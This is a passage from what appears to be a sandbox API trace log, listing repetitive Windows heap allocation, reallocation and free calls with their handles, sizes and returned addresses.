hHeap=0x2ad0000) returned 1 [0071.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x225) returned 0x2ad9d70 [0071.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad9fa0 [0071.930] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad04a0, Size=0x64) returned 0x2ad04a0 [0071.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ada128 [0071.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2ada2b0 [0071.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ada128 | out: hHeap=0x2ad0000) returned 1 [0071.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6578 [0071.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0510 [0071.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6568 [0071.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6538 [0071.932] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6568, Size=0x14) returned 0x2ad0528 [0071.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0071.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0510 | out: hHeap=0x2ad0000) returned 1 [0071.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0071.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0528 | out: hHeap=0x2ad0000) returned 1 [0071.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ada128 [0071.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2ada8b8 [0071.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ada128 | out: hHeap=0x2ad0000) returned 1 [0071.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64f8 [0071.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0510 [0071.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6598 [0071.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0071.933] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6598, Size=0x14) returned 0x2ad0528 [0071.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0071.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0510 | out: hHeap=0x2ad0000) returned 1 [0071.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0071.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0528 | out: hHeap=0x2ad0000) returned 1 [0071.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ada128 [0071.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6598 [0071.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0510 [0071.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6508 [0071.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64e8 [0071.933] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6508, Size=0x14) returned 0x2ad0528 [0071.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0071.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0510 | out: hHeap=0x2ad0000) returned 1 [0071.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6598 | out: hHeap=0x2ad0000) returned 1 [0071.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0528 | out: hHeap=0x2ad0000) returned 1 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2adaec0 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2adb048 [0071.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2adaec0 | out: hHeap=0x2ad0000) returned 1 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6568 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0510 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65c8 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6508 [0071.934] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65c8, Size=0x14) returned 0x2ad0528 [0071.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6508 | out: hHeap=0x2ad0000) returned 1 [0071.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0510 | out: hHeap=0x2ad0000) returned 1 [0071.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0071.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0528 | out: hHeap=0x2ad0000) returned 1 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x247) returned 0x2adb650 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2adaec0 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2adb8a0 [0071.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2adaec0 | out: hHeap=0x2ad0000) returned 1 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0510 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65b8 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6428 [0071.934] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65b8, Size=0x14) returned 0x2ad0528 [0071.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0071.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0510 | out: hHeap=0x2ad0000) returned 1 [0071.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0071.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0528 | out: hHeap=0x2ad0000) returned 1 [0071.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2adaec0 [0071.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6588 [0071.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0510 [0071.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6418 [0071.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64f8 [0071.935] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6418, Size=0x14) returned 0x2ad0528 [0071.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0071.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0510 | out: hHeap=0x2ad0000) returned 1 [0071.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6588 | out: hHeap=0x2ad0000) returned 1 [0071.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0528 | out: hHeap=0x2ad0000) returned 1 [0071.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2adbea8 [0071.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2adc030 [0071.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2adbea8 | out: hHeap=0x2ad0000) returned 1 [0071.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0071.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0510 [0071.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6558 [0071.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6508 [0071.935] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6558, Size=0x14) returned 0x2ad0528 [0071.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6508 | out: hHeap=0x2ad0000) returned 1 [0071.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0510 | out: hHeap=0x2ad0000) returned 1 [0071.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0071.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0528 | out: hHeap=0x2ad0000) returned 1 [0071.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2adbea8 [0071.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0510 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6548 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0071.936] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6548, Size=0x14) returned 0x2ad0528 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0510 | out: hHeap=0x2ad0000) returned 1 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0528 | out: hHeap=0x2ad0000) returned 1 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2adc638 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2adbea8 | out: hHeap=0x2ad0000) returned 1 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0510 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65b8 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6598 [0071.936] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65b8, Size=0x14) returned 0x2ad0528 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6598 | out: hHeap=0x2ad0000) returned 1 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0510 | out: hHeap=0x2ad0000) returned 1 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0528 | out: hHeap=0x2ad0000) returned 1 [0071.936] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad04a0, Size=0x8c) returned 0x2ad04a0 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6548 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0538 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6468 [0071.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0071.936] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6468, Size=0x14) returned 0x2ad0550 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6548 | out: hHeap=0x2ad0000) returned 1 [0071.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0550 | out: hHeap=0x2ad0000) returned 1 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2adbea8 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2adcc40 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2adcdc8 [0071.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2adcc40 | out: hHeap=0x2ad0000) returned 1 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0538 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6498 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0071.937] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6498, Size=0x14) returned 0x2ad0550 [0071.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0071.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0071.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0550 | out: hHeap=0x2ad0000) returned 1 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2adcc40 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64e8 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0538 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6408 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65c8 [0071.937] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6408, Size=0x14) returned 0x2ad0550 [0071.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65c8 | out: hHeap=0x2ad0000) returned 1 [0071.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0071.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0550 | out: hHeap=0x2ad0000) returned 1 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2add3d0 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6578 [0071.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0538 [0071.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65a8 [0071.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0071.938] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65a8, Size=0x14) returned 0x2ad0550 [0071.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0071.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0550 | out: hHeap=0x2ad0000) returned 1 [0071.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2add558 [0071.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64e8 [0071.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0538 [0071.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6568 [0071.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0071.938] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6568, Size=0x14) returned 0x2ad0550 [0071.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0071.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0550 | out: hHeap=0x2ad0000) returned 1 [0071.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2add6e0 [0071.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2add868 [0071.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2add6e0 | out: hHeap=0x2ad0000) returned 1 [0071.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6588 [0071.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0538 [0071.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65a8 [0071.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6448 [0071.939] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65a8, Size=0x14) returned 0x2ad0550 [0071.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0071.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6588 | out: hHeap=0x2ad0000) returned 1 [0071.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0550 | out: hHeap=0x2ad0000) returned 1 [0071.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2add6e0 [0071.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6428 [0071.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0538 [0071.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65a8 [0071.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0071.939] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65a8, Size=0x14) returned 0x2ad0550 [0071.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0071.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0071.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0550 | out: hHeap=0x2ad0000) returned 1 [0071.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2adde70 [0071.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2addff8 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2adde70 | out: hHeap=0x2ad0000) returned 1 [0071.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0071.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0538 [0071.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0071.940] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2ad0550 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0550 | out: hHeap=0x2ad0000) returned 1 [0071.940] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6568, Size=0x14) returned 0x2ad0550 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0550 | out: hHeap=0x2ad0000) returned 1 